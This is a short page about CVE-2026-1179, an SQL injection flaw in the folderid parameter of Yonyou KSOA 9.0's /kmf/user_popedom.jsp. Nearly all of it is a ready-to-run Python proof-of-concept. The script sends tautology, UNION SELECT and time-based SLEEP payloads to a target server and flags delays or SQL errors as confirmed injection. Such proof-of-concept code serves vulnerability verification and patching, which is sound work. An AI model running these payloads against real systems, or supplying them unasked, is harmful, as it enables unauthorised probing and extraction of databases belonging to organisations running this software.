CVE-2026-1179 用友KSOA 9.0 user_popedom.jsp SQL注入漏洞

import requests # CVE-2026-1179 SQL Injection PoC for Yonyou KSOA 9.0 # Target: /kmf/user_popedom.jsp # Parameter: folderid target_url = "http://target-server/kmf/user_popedom.jsp" # Basic authentication bypass detection payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' UNION SELECT version()--" ] def test_sql_injection(): for payload in payloads: params = {'folderid': payload} try: response = requests.get(target_url, params=params, timeout=10) # Check for SQL error messages or time delays if response.elapsed.total_seconds() > 4: print(f"[+] Time-based blind SQL injection confirmed with payload: {payload}") elif 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[+] SQL error detected with payload: {payload}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": test_sql_injection()